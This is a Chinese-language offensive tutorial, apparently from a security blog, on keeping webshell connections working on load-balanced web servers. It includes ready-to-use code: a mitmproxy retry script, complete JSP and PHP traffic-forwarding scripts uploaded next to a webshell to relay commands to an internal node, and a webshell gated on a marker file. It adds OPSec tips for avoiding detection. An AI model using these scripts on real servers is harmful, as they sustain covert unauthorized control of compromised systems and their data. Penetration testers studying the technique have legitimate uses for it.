负载均衡下的Webshell连接处理
字数 1396 2025-08-24 16:48:16
负载均衡下的Webshell连接处理技术详解
0x00 概述
本文详细讲解在负载均衡环境下连接和管理Webshell的技术方法,包括负载均衡的基本概念、识别方法、不同场景下的解决方案以及操作安全考虑。
0x01 负载均衡基础
1.1 什么是负载均衡
负载均衡是一种将来自多个用户或应用程序的请求分配到多个服务器或设备上的技术,以提高整体性能、可用性和可扩展性。在Web应用中,负载均衡通常用于将用户请求分发到多台Web服务器。
1.2 负载均衡的实现方式
常见实现方式:
- Nginx反向代理
- 硬件负载均衡设备
- 云服务商提供的负载均衡服务
1.3 负载均衡对Webshell的影响
当Webshell部署在负载均衡环境中时,会出现以下现象:
- 执行命令查询到的内网IP不断变化
- 刷新目录时文件列表不一致
- 访问Webshell时状态码在200和404之间波动
0x02 负载均衡环境识别
2.1 识别方法
- IP变化检测:通过执行
ipconfig/ifconfig命令,观察返回的内网IP是否变化 - 文件系统检测:刷新目录查看文件列表是否一致
- 状态码检测:多次访问Webshell观察响应状态码
- 文件上传测试:尝试上传大文件看是否完整
0x03 未做文件同步的负载均衡处理
3.1 问题描述
在这种场景下,上传的文件只会落地到其中一个节点,导致:
- 文件分片写入不同节点导致大文件无法完整落地
- 请求可能被路由到没有Webshell的节点返回404
3.2 解决方案:mitmproxy循环请求
使用mitmproxy编写脚本循环请求直到成功:
from mitmproxy import ctx, http
import requests
class ProxyAddon:
def request(self, flow: http.HTTPFlow) -> None:
if flow.request.method == "POST":
url = self.get_https_url(flow.request.host, flow.request.path)
# 循环请求直到非404响应
while True:
try:
response = self.make_https_request(url, flow.request.content)
if response.status_code != 404:
break
except:
continue
# 返回响应
headers = [(k.encode('utf-8'), v.encode('utf-8')) for k,v in response.headers.items()]
flow.response = http.Response.make(200, response.content, headers)
def make_https_request(self, url, data):
proxies = {'http':'http://127.0.0.1:8080', 'https':'https://127.0.0.1:8080'}
response = requests.post(url, data=data, timeout=3, proxies=proxies, verify=False)
return response
def get_https_url(self, host, path):
return f"https://{host}{path}"
addons = [ProxyAddon()]
3.3 注意事项
- 超时设置:需要在Webshell工具中设置较长的超时时间
- HTTPS处理:通过脚本实现HTTP到HTTPS的转换,简化配置
- 性能考虑:循环请求可能导致响应时间延长
0x04 做了文件同步的负载均衡处理
4.1 问题描述
在这种场景下,文件会被同步到所有节点,但命令执行结果仍可能不一致。
4.2 解决方案:HTTP流量转发脚本
上传两个文件:
- 实际的Webshell(如ant.jsp)
- 流量转发脚本(如antproxy.jsp)
4.2.1 JSP转发脚本示例
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
public static void ignoreSsl() throws Exception {
HostnameVerifier hv = new HostnameVerifier() {
public boolean verify(String urlHostName, SSLSession session) {
return true;
}
};
trustAllHttpsCertificates();
HttpsURLConnection.setDefaultHostnameVerifier(hv);
}
private static void trustAllHttpsCertificates() throws Exception {
TrustManager[] trustAllCerts = new TrustManager[] {
new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() { return null; }
@Override
public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {}
@Override
public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {}
}
};
try {
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
} catch (KeyManagementException e) { e.printStackTrace(); }
catch (NoSuchAlgorithmException e) { e.printStackTrace(); }
}
%>
<%
String target = "http://172.24.0.2:8080/ant.jsp"; // 内网节点Webshell地址
URL url = new URL(target);
if("https".equalsIgnoreCase(url.getProtocol())) { ignoreSsl(); }
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
StringBuilder sb = new StringBuilder();
conn.setRequestMethod(request.getMethod());
conn.setConnectTimeout(30000);
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setInstanceFollowRedirects(false);
conn.connect();
// 转发请求体
ByteArrayOutputStream baos = new ByteArrayOutputStream();
OutputStream out2 = conn.getOutputStream();
DataInputStream in = new DataInputStream(request.getInputStream());
byte[] buf = new byte[1024];
int len = 0;
while((len = in.read(buf)) != -1) {
baos.write(buf, 0, len);
}
baos.flush();
baos.writeTo(out2);
baos.close();
// 转发响应
InputStream inputStream = conn.getInputStream();
OutputStream out3 = response.getOutputStream();
int len2 = 0;
while((len2 = inputStream.read(buf)) != -1) {
out3.write(buf, 0, len2);
}
out3.flush();
out3.close();
%>
4.3 工作原理
- 所有请求先到达转发脚本
- 转发脚本将请求统一发送到指定的内网节点
- 获取响应后返回给客户端
- 确保所有请求都路由到同一个节点
0x05 OPSec下的解决方案
5.1 不依赖IP信息的解决方案
在不执行系统命令获取IP信息的情况下:
- 文件差异检测:通过刷新目录观察文件差异
- 手动创建差异:在特定节点创建临时文件作为标记
5.2 示例实现
上传带有条件判断的Webshell:
<%
// 检查差异文件是否存在
File tempFile = new File("/tmp/marker.tmp");
if(!tempFile.exists()) {
response.setStatus(404);
return;
}
// 正常Webshell逻辑
%>
然后结合0x02的循环请求方法,确保只与特定节点交互。
0x06 其他语言实现
对于非Java环境,可以使用相应语言实现转发逻辑:
6.1 PHP转发脚本示例
<?php
$target = "http://internal-node/real_shell.php";
$ch = curl_init($target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $_SERVER['REQUEST_METHOD']);
curl_setopt($ch, CURLOPT_POSTFIELDS, file_get_contents('php://input'));
// 转发头信息
$headers = array();
foreach(getallheaders() as $name => $value) {
$headers[] = "$name: $value";
}
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
// 执行并返回
curl_exec($ch);
curl_close($ch);
?>
0x07 总结与最佳实践
- 最少两次上传:必须上传至少两个文件(检测脚本和实际解决方案)
- 环境识别:先确定负载均衡类型(是否文件同步)
- 方案选择:
- 未同步:循环请求方法
- 已同步:流量转发方法
- OPSec考虑:尽量不执行系统命令,使用文件差异检测
- 性能优化:合理设置超时时间,避免长时间等待
0x08 参考资源
- 蚁剑官方文档中关于负载均衡的处理
- mitmproxy官方文档
- 各语言HTTP客户端库文档